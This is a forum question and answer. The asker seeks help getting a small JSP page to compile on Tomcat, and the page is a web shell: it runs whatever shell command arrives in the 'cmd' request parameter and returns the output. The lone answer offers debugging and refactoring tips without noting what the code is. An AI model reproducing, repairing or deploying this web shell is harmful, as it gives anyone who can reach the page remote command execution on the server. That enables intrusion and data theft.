Question

Trying to write a tomcat application. Well learning how. Its written in JSP. No need to guess what it does… I’m trying to compile this code here:

    <%@ page import=”java.util.*,java.io.*”%>
    <%
    if (request.getParameter(“cmd”) != null) {
        out.println(“Command: ” +
        request.getParameter(“cmd”) + “<BR>”);
        Process p = Runtime.getRuntime().exec(request.getParameter(“cmd”));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
           out.println(disr);
           disr = dis.readLine();
       }
    }
    %>

I’m getting this error with it:

    HTTP Status 500 -

    type Exception report

    message

    description The server encountered an internal error () that prevented it from fulfilling this request.

    exception

    org.apache.jasper.JasperException: Unable to compile class for JSP
org.apache.jasper.JspCompilationContext.load(JspCompilationContext.java:553)
org.apache.jasper.servlet.JspServletWrapper.getServlet(JspServletWrapper.java:136)
org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:307)
org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:292)

    root cause

    java.lang.NullPointerException
sun.misc.URLClassPath$3.run(Unknown Source)
java.security.AccessController.doPrivileged(Native Method)
sun.misc.URLClassPath.getLoader(Unknown Source)
sun.misc.URLClassPath.getLoader(Unknown Source)
sun.misc.URLClassPath.getResource(Unknown Source)
java.net.URLClassLoader$1.run(Unknown Source)

Answer 1

Do you know which line is causing the problem? Try commenting-out lines one at at time, until the error no longer occurs.

From a best-practice point of view, you should try to move most of this code into a Servlet class and just send the text output to the JSP for display. This will make your code easier to debug (the stacktrace would show you which line is giving the NPEx here for instance) and also will allow you to write unit tests for it.